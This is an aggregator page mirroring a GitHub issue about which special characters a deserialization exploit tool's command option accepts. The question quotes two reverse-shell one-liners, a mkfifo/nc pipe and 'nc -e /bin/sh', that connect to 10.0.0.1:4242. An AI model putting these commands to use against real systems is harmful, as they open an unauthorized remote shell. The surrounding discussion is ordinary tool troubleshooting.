question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

The 'command' can't have sepcial characters?

See original GitHub issue

It’s not working

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

But nc -e /bin/sh 10.0.0.1 4242 is working.

My question is which characters can not be used into the cmd? ;, > and/or |

Issue Analytics

  • State:closed
  • Created 3 years ago
  • Comments:7 (1 by maintainers)

github_iconTop GitHub Comments

1reaction
frohoffcommented, Aug 17, 2021

The specific bug causing the problem reported by @zeroSteiner has been resolved in #151.

1reaction
federicodottacommented, Jun 1, 2021

Hi @A1vinSmith,

Because unfortunately my changes don’t apply to all the gadgets, but only to a subset of them. In some gadget it is not possible to add the other modes (sleep, dns, exec_win, exec_unix, etc.) and for this reason I chose to make a “quick and dirty” mod to a fork of the tool.

Federico

Read more comments on GitHub >

github_iconTop Results From Across the Web

Unable to process special character on command prompt
I am unable to process special characters such as ...
Read more >
sql30082n rc=24 error from the command line when password ...
Resolving The Problem. Retry the same command except escape the special character in the password. For example, on UNIX/Linux place a backslash ...
Read more >
Special Characters -- in a create user command - Ask TOM
How can I pass special characters into a procedure in a varchar2 variable? It comes out with an error "ORA-911 Invalid character" For...
Read more >
Error when you create a user name that contains a special ...
When you create a new user in Microsoft 365, make sure that you don't use any of the special characters that are listed...
Read more >
Chapter 3. Special Characters
Along with commands and keywords, special characters are building blocks of Bash ... The parent process, the script, cannot read variables created in...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found